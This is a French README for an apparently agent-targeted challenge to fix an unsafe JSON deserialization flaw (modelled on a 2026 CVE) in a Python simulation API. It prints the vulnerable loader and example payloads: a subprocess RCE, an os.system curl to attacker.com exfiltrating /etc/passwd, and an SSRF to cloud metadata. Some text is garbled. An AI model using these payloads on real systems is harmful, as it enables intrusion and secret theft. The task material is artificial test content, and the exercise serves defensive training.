
CVE-2026-25632 — Correction de la désérialisation JSON non sécurisée conduisant à une exécution de code à distance
Inspiré d'une vraie vulnérabilité de 2026 (CVSS 10.0, activement exploitée)
Basé sur : CVE-2026-25632 — Exécution de code à distance via une déserialisation JSON non sûre pilotée par__type__, découverte dans l'API REST de simulation de réseau d'eau EPyT-Flow et divulguée publiquement début 2026.
NovaSim est un framework de simulation basé sur Python qui expose une API REST pour le contrôle à distance d'expériences scientifiques. Afin de prendre en charge une sérialisation flexible d'objets dans des environnements clients hétérogènes, un développeur a ajouté un chargeur JSON personnalisé qui détecte un champ spécial __type__ et importe et instancie dynamiquement la classe Python référencée à l'aide d'importlib.
Ce motif a été divulgué comme une vulnérabilité critique d'exécution de code à distance (RCE) dans un important projet open source en 2026. Les chercheurs en sécurité ont identifié qu'un attaquant contrôlant le corps JSON peut construire une chaîne de gadgets ciblant n'importe quel appelable de la bibliothèque standard Python — y compris subprocess.Popen, , , et plus de 25 gadgets SSRF — permettant un compromission totale du serveur avec une seule requête HTTP, .
os.systemevalVous recevez la version vulnérable de src/solution.py, qui contient exactement le motif de déserialisation non sûr.
Votre objectif : Corriger la vulnérabilité dans DeserializationService.load_from_json() afin que :
SecurityError.__type__ ne permette plus l'import arbitraire de modules ou l'instanciation de classes.__type__) continuent de se charger normalement.# DANGEREUX — motif CVE-2026-25632
import importlib
def _unsafe_load(data: dict):
if "__type__" in data:
module_path, class_name = data["__type__"].rsplit(".", 1)
module = importlib.import_module(module_path) # contrôlé par l'attaquant !
cls = getattr(module, class_name) # contrôlé par l'attaquant !
return cls(**data.get("args", {})) # exécution de code arbitraire !
Un attaquant envoie une requête POST avec un corps JSON forgé :
Vecteur 1 — RCE directe via subprocess :
{
"__type__": "subprocess.Popen",
"args": {"args": ["id"], "shell": true}
}
Vecteur 2 — RCE via os.system :
{
"__type__": "os.system",
"args": {"command": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"}
}
Vecteur 3 — SSRF via urllib.request.urlopen :
{
"__type__": "urllib.request.urlopen",
"args": {"url": "http://169.254.169.254/latest/meta-data/"}
}
Les chercheurs en sécurité ont documenté 12 gadgets RCE directs et 25 gadgets SSRF accessibles de cette manière à travers la seule bibliothèque standard de Python.
Les types d'objets de simulation suivants, et uniquement ceux-ci, peuvent être déserialisés via __type__ :
Valeur de __type__ | Classe Python |
|---|---|
simulation.Sensor | novasim.models.Sensor |
simulation.Actuator | novasim.models.Actuator |
simulation.Scenario | novasim.models.Scenario |
Toute autre valeur de __type__ DOIT lever une SecurityError immédiatement, avant toute importation ou instanciation.
Objets JSON soumis à DeserializationService.load_from_json(raw: str) -> dict | SimObject
__type__ : retourner dict (JSON analysé).__type__ sur liste blanche : retourner l'instance d'objet de simulation correspondante.__type__ hors liste blanche : lever une SecurityError avec le message : "Blocked unsafe type: <type_value>".ValueError avec le message : "Invalid JSON payload".| Scénario | Comportement attendu |
|---|---|
__type__ absent | Analyser et retourner comme dict simple |
__type__ = "simulation.Sensor" | Instancier Sensor(**args) |
__type__ = "subprocess.Popen" | Lever une SecurityError |
__type__ = "os.system" | Lever une SecurityError |
__type__ = "__builtins__.eval" | Lever une SecurityError |
__type__ = "" (chaîne vide) | Lever une SecurityError |
__type__ = une liste ou un entier | Lever une SecurityError (champ de type invalide) |
| Chaîne JSON malformée | Lever une ValueError |
| Champs inconnus supplémentaires dans un objet valide | Acceptés, transmis comme kwargs au constructeur |
challenge-cve-2026-25632/
├── README.md <- Vous êtes ici
├── Dockerfile <- Environnement de build déterministe
├── src/
│ ├── solution.py <- Code de départ BOGUÉ (votre cible)
│ ├── solution_fixed.py <- Solution de référence (masquée à l'agent)
│ └── novasim/
│ ├── __init__.py
│ └── models.py <- Classes de modèles de simulation sur liste blanche
└── tests/
└── test_solution.py <- Harnais de test (ÉCHOUE sur le code bogué, RÉUSSIT sur le code corrigé)
La correction doit passer TOUS les tests suivants :